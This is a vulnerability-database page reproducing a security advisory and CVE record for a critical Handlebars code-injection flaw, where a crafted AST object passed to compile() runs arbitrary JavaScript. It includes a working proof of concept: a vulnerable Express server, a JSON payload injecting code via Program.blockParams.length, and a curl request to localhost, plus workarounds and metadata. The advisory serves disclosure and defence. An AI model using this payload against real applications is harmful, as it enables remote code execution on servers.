Vulnerability-Lookup

GHSA-8R5X-FM3F-WHWJ

Vulnerability from github – Published: 2026-10-08 17:52 – Updated: 2026-10-08 17:52

Summary

Handlebars: JavaScript Injection via AST Type Confusion in compile (bypass of CVE-2026-33937)

Details

Summary

Handlebars.compile() and Handlebars.precompile() accept a pre-parsed AST as well as a template string. Handlebars 4.7.9 added validation for such ASTs. It only checks values on PathExpression, NumberLiteral and BooleanLiteral nodes, and the compiler still writes several other AST values into the generated JavaScript unchecked.

If an application passes an untrusted object to compile() or precompile(), such as a parsed JSON request body, that object can carry arbitrary JavaScript. With compile(), the code runs on the server when the template renders. With precompile(), it ends up in the precompiled output and runs wherever that output is loaded.

Applications that only ever pass template strings are not affected.

This bypasses the AST validation added in 4.7.9 for GHSA-2w6w-674q-4c4q, GHSA-xhpv-hc6g-r9c6 and GHSA-3mfm-83xf-c92r.

Details

The 4.7.9 validator runs in parseWithoutProcessing() and walks the whole AST. It only checks values on nodes whose type is PathExpression, NumberLiteral or BooleanLiteral. It passes over plain objects without a type, and over strings and other non-object values. The compiler reads these values from other places and writes them into the generated code as-is:

AST value	Written into generated code as	Compile options needed
`Program.blockParams.length`	`container.program(<index>, data, <length>)`	none (default options)
`depth` on a param that is not a `PathExpression`, e.g. a `StringLiteral`	`depths[<depth>]`	`stringParams: true`
A `StringLiteral.value` that is not a string	raw JavaScript literal	`stringParams: true`
A `PathExpression.original` that is not a string	raw JavaScript literal	`stringParams: true`

The first row works with default options. A Program with blockParams: { "length": "<JS expression>" } passes validation because:

the blockParams object has no type, so none of the type-specific checks apply, and
the walker skips the string under length because it is not an object.

The compiler then reads program.blockParams.length and writes the string directly into the template function. The container.program(...) call is part of the helper options object, which is built before the helper is looked up. The code therefore runs on render even if the block's helper does not exist.

Proof of Concept

Start a server that compiles request input:

import express from "express";
import Handlebars from "handlebars";

const app = express();
app.use(express.json());

app.post("/api/render", (req, res) => {
  const template = Handlebars.compile(req.body.text); // `text` may be an object, not a string
  res.send(template());
});

app.listen(2123);

Save this request body as poc.json. missingHelper does not need to exist:

{
  "text": {
    "type": "Program",
    "loc": { "start": { "line": 1, "column": 0 } },
    "body": [
      {
        "type": "BlockStatement",
        "path": {
          "type": "PathExpression", "data": false, "depth": 0,
          "parts": ["missingHelper"], "original": "missingHelper",
          "loc": { "start": { "line": 1, "column": 0 } }
        },
        "params": [],
        "program": {
          "type": "Program",
          "blockParams": {
            "length": "(()=>{throw new Error('Injected code ran as uid ' + process.getuid())})()"
          },
          "body": [],
          "loc": { "start": { "line": 1, "column": 0 } }
        },
        "openStrip": { "open": false, "close": false },
        "inverseStrip": { "open": false, "close": false },
        "closeStrip": { "open": false, "close": false },
        "loc": { "start": { "line": 1, "column": 0 } }
      }
    ]
  }
}

Send the request:

curl -s -X POST 'http://127.0.0.1:2123/api/render' \
     -H 'Content-Type: application/json' --data-binary @poc.json

The server responds with HTTP 500 and an error page showing the injected code ran inside the Node.js process:

Error: Injected code ran as uid 1000

Impact

An application is affected if untrusted input can reach Handlebars.compile() or Handlebars.precompile() as an object instead of a string. A common way this happens is passing a field from a JSON request body straight to compile().

compile(): arbitrary JavaScript runs in the Node.js process with the application's privileges (remote code execution).
precompile(): the injected code is written into the precompiled template and runs wherever that template is loaded, for example in users' browsers.

Workarounds

Validate input type before calling Handlebars.compile(): ensure the argument is always a string, never a plain object or JSON-deserialized value. javascript if (typeof templateInput !== 'string') { throw new TypeError('Template must be a string'); }
Use the Handlebars runtime-only build (handlebars/runtime) on the server if templates are pre-compiled at build time; compile() will be unavailable.

Credits

Variant `Program.blockParams`

Variant `BooleanLiteral|NumberLiteral.value`

sondt99 Thai Son Dinh from VinSOC Labs (R&D)
Ahmed-Elmahgob
nikolakojic-rasit
vk-can
shenhuanageshei
kustundag
kagebunsher
ffasterss

Variant `PathExpression.depth`

hibrian827 Team Atlanta
oss-security-shopify

Severity

9.8 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.7.9"
      },
      "package": {
        "ecosystem": "npm",
        "name": "handlebars"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0"
            },
            {
              "fixed": "4.7.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-106446"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-843",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-08T17:52:32Z",
    "nvd_published_at": "2026-10-06T20:17:26Z",
    "severity": "CRITICAL"
  },
  "details": "## Summary\n\n`Handlebars.compile()` and `Handlebars.precompile()` accept a pre-parsed AST as well as a template string. Handlebars 4.7.9 added validation for such ASTs. It only checks values on `PathExpression`, `NumberLiteral` and `BooleanLiteral` nodes, and the compiler still writes several other AST values into the generated JavaScript unchecked.\n\nIf an application passes an untrusted object to `compile()` or `precompile()`, such as a parsed JSON request body, that object can carry arbitrary JavaScript. With `compile()`, the code runs on the server when the template renders. With `precompile()`, it ends up in the precompiled output and runs wherever that output is loaded.\n\nApplications that only ever pass template **strings** are not affected.\n\nThis bypasses the AST validation added in 4.7.9 for GHSA-2w6w-674q-4c4q, GHSA-xhpv-hc6g-r9c6 and GHSA-3mfm-83xf-c92r.\n\n## Details\n\nThe 4.7.9 validator runs in `parseWithoutProcessing()` and walks the whole AST. It only checks values on nodes whose `type` is `PathExpression`, `NumberLiteral` or `BooleanLiteral`. It passes over plain objects without a `type`, and over strings and other non-object values. The compiler reads these values from other places and writes them into the generated code as-is:\n\n| AST value | Written into generated code as | Compile options needed |\n| --- | --- | --- |\n| `Program.blockParams.length` | `container.program(\u003cindex\u003e, data, \u003clength\u003e)` | none (default options) |\n| `depth` on a param that is not a `PathExpression`, e.g. a `StringLiteral` | `depths[\u003cdepth\u003e]` | `stringParams: true` |\n| A `StringLiteral.value` that is not a string | raw JavaScript literal | `stringParams: true` |\n| A `PathExpression.original` that is not a string | raw JavaScript literal | `stringParams: true` |\n\nThe first row works with default options. A `Program` with `blockParams: { \"length\": \"\u003cJS expression\u003e\" }` passes validation because:\n\n1. the `blockParams` object has no `type`, so none of the type-specific checks apply, and\n2. the walker skips the string under `length` because it is not an object.\n\nThe compiler then reads `program.blockParams.length` and writes the string directly into the template function. The `container.program(...)` call is part of the helper options object, which is built before the helper is looked up. The code therefore runs on render even if the block\u0027s helper does not exist.\n\n## Proof of Concept\n\n1. Start a server that compiles request input:\n\n```js\nimport express from \"express\";\nimport Handlebars from \"handlebars\";\n\nconst app = express();\napp.use(express.json());\n\napp.post(\"/api/render\", (req, res) =\u003e {\n  const template = Handlebars.compile(req.body.text); // `text` may be an object, not a string\n  res.send(template());\n});\n\napp.listen(2123);\n```\n\n2. Save this request body as `poc.json`. `missingHelper` does not need to exist:\n\n```json\n{\n  \"text\": {\n    \"type\": \"Program\",\n    \"loc\": { \"start\": { \"line\": 1, \"column\": 0 } },\n    \"body\": [\n      {\n        \"type\": \"BlockStatement\",\n        \"path\": {\n          \"type\": \"PathExpression\", \"data\": false, \"depth\": 0,\n          \"parts\": [\"missingHelper\"], \"original\": \"missingHelper\",\n          \"loc\": { \"start\": { \"line\": 1, \"column\": 0 } }\n        },\n        \"params\": [],\n        \"program\": {\n          \"type\": \"Program\",\n          \"blockParams\": {\n            \"length\": \"(()=\u003e{throw new Error(\u0027Injected code ran as uid \u0027 + process.getuid())})()\"\n          },\n          \"body\": [],\n          \"loc\": { \"start\": { \"line\": 1, \"column\": 0 } }\n        },\n        \"openStrip\": { \"open\": false, \"close\": false },\n        \"inverseStrip\": { \"open\": false, \"close\": false },\n        \"closeStrip\": { \"open\": false, \"close\": false },\n        \"loc\": { \"start\": { \"line\": 1, \"column\": 0 } }\n      }\n    ]\n  }\n}\n```\n\n3. Send the request:\n\n```sh\ncurl -s -X POST \u0027http://127.0.0.1:2123/api/render\u0027 \\\n     -H \u0027Content-Type: application/json\u0027 --data-binary @poc.json\n```\n\nThe server responds with HTTP 500 and an error page showing the injected code ran inside the Node.js process:\n\n```\nError: Injected code ran as uid 1000\n```\n\n## Impact\n\nAn application is affected if untrusted input can reach `Handlebars.compile()` or `Handlebars.precompile()` as an object instead of a string. A common way this happens is passing a field from a JSON request body straight to `compile()`.\n\n- **`compile()`**: arbitrary JavaScript runs in the Node.js process with the application\u0027s privileges (remote code execution).\n- **`precompile()`**: the injected code is written into the precompiled template and runs wherever that template is loaded, for example in users\u0027 browsers.\n\n\n## Workarounds\n\n- **Validate input type** before calling `Handlebars.compile()`: ensure the argument is always a  `string`, never a plain object or JSON-deserialized value.\n  ```javascript\n  if (typeof templateInput !== \u0027string\u0027) {\n    throw new TypeError(\u0027Template must be a string\u0027);\n  }\n  ```\n- Use the Handlebars **runtime-only** build (`handlebars/runtime`) on the server if templates are  pre-compiled at build time; `compile()` will be unavailable.\n\n## Credits\n\n### Variant `Program.blockParams`\n- [Nick Mykhailyshyn - @whoareme](https://x.com/whoareme33)\n- [jmoritzc53 ](https://github.com/jmoritzc53)\n- [bhaswanthc ](https://github.com/bhaswanthc)\n- [dinhvaren ](https://github.com/dinhvaren)\n- [n0tra4e ](https://github.com/n0tra4e) \n- [PellaML](https://github.com/PellaML)\n- [kustundag](https://github.com/kustundag)\n- [kagebunsher](https://github.com/kagebunsher)\n- [sanmatte](https://github.com/sanmatte)\n\n### Variant `BooleanLiteral|NumberLiteral.value`\n\n- [sondt99 ](https://github.com/sondt99) Thai Son Dinh from VinSOC Labs (R\u0026D)\n- [Ahmed-Elmahgob ](https://github.com/Ahmed-Elmahgob)\n- [nikolakojic-rasit ](https://github.com/nikolakojic-rasit)\n- [vk-can](https://github.com/vk-can)\n- [shenhuanageshei](https://github.com/shenhuanageshei)\n- [kustundag](https://github.com/kustundag)\n- [kagebunsher](https://github.com/kagebunsher)\n- [ffasterss](https://github.com/ffasterss)\n\n### Variant `PathExpression.depth`\n\n- [hibrian827](https://github.com/hibrian827) Team Atlanta\n- [oss-security-shopify](https://github.com/oss-security-shopify)",
  "id": "GHSA-8r5x-fm3f-whwj",
  "modified": "2026-10-08T17:52:33Z",
  "published": "2026-10-08T17:52:32Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-8r5x-fm3f-whwj"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-106446"
    },
    {
      "type": "WEB",
      "url": "https://github.com/handlebars-lang/handlebars.js/pull/2185"
    },
    {
      "type": "WEB",
      "url": "https://github.com/handlebars-lang/handlebars.js/commit/703fdcc5fd6cc8d1cc0c33cc19de40c467c4b8d2"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/handlebars-lang/handlebars.js"
    },
    {
      "type": "WEB",
      "url": "https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.10"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Handlebars: JavaScript Injection via AST Type Confusion in compile (bypass of CVE-2026-33937)"
}

CVE-2026-106446 (GCVE-0-2026-106446)

Vulnerability from cvelistv5 – Published: 2026-10-06 19:41 – Updated: 2026-10-07 18:30

Title

Handlebars: JavaScript Injection via AST Type Confusion in compile (Program.blockParams)

Summary

Handlebars provides the power necessary to let users build semantic templates. From 4.0.0 until 4.7.10, Handlebars.compile() and Handlebars.precompile() accept pre-parsed AST objects while validating only selected PathExpression, NumberLiteral, and BooleanLiteral values. This issue bypasses the AST validation introduced in version 4.7.9 for CVE-2026-33937. An attacker who can supply an object instead of a template string can place JavaScript expressions in unchecked values such as Program.blockParams.length, a non-PathExpression parameter depth, a non-string StringLiteral.value, or a non-string PathExpression.original. The compiler emits those values into generated JavaScript, causing code execution in the server process when compile output renders or wherever precompile output is loaded. Applications that pass only template strings are not affected. This issue is fixed in version 4.7.10.

Severity

9.8 (Critical)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

SSVC

Exploitation: poc Automatable: yes Technical Impact: total

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-10-07 18:27 UTC

CWE

CWE-94 - Improper Control of Generation of Code ('Code Injection')
CWE-843 - Access of Resource Using Incompatible Type ('Type Confusion')

Assigner

GitHub_M CNA under the mitre root

CNA scorecard C 72/100 over 7580 records in the last 180 days details

References

4 references

URL	Tags
https://github.com/handlebars-lang/handlebars.js/…	x_refsource_CONFIRM
https://github.com/handlebars-lang/handlebars.js/…	x_refsource_MISC
https://github.com/handlebars-lang/handlebars.js/…	x_refsource_MISC
https://github.com/handlebars-lang/handlebars.js/…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
handlebars-lang	handlebars.js	Affected: >= 4.0.0, < 4.7.10

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-106446",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-10-07T18:27:28.577129Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-10-07T18:30:12.451Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-8r5x-fm3f-whwj"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "handlebars.js",
          "vendor": "handlebars-lang",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 4.0.0, \u003c 4.7.10"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Handlebars provides the power necessary to let users build semantic templates. From 4.0.0 until 4.7.10, Handlebars.compile() and Handlebars.precompile() accept pre-parsed AST objects while validating only selected PathExpression, NumberLiteral, and BooleanLiteral values. This issue bypasses the AST validation introduced in version 4.7.9 for CVE-2026-33937. An attacker who can supply an object instead of a template string can place JavaScript expressions in unchecked values such as Program.blockParams.length, a non-PathExpression parameter depth, a non-string StringLiteral.value, or a non-string PathExpression.original. The compiler emits those values into generated JavaScript, causing code execution in the server process when compile output renders or wherever precompile output is loaded. Applications that pass only template strings are not affected. This issue is fixed in version 4.7.10."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 9.8,
            "baseSeverity": "CRITICAL",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
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              "cweId": "CWE-94",
              "description": "CWE-94: Improper Control of Generation of Code (\u0027Code Injection\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        },
        {
          "descriptions": [
            {
              "cweId": "CWE-843",
              "description": "CWE-843: Access of Resource Using Incompatible Type (\u0027Type Confusion\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-10-06T19:41:55.785Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
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          ],
          "url": "https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-8r5x-fm3f-whwj"
        },
        {
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          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/handlebars-lang/handlebars.js/pull/2185"
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          "url": "https://github.com/handlebars-lang/handlebars.js/commit/703fdcc5fd6cc8d1cc0c33cc19de40c467c4b8d2"
        },
        {
          "name": "https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.10",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.10"
        }
      ],
      "source": {
        "advisory": "GHSA-8r5x-fm3f-whwj",
        "discovery": "UNKNOWN"
      },
      "title": "Handlebars: JavaScript Injection via AST Type Confusion in compile (Program.blockParams)"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-106446",
    "datePublished": "2026-10-06T19:41:55.785Z",
    "dateReserved": "2026-10-06T16:49:40.590Z",
    "dateUpdated": "2026-10-07T18:30:12.451Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

GHSA-8R5X-FM3F-WHWJ

Summary

Details

Proof of Concept

Impact

Workarounds

Credits

Variant Program.blockParams

Variant BooleanLiteral|NumberLiteral.value

Variant PathExpression.depth

CVE-2026-106446 (GCVE-0-2026-106446)

Tags

Sightings

Nomenclature

Related by attack behaviour

Variant `Program.blockParams`

Variant `BooleanLiteral|NumberLiteral.value`

Variant `PathExpression.depth`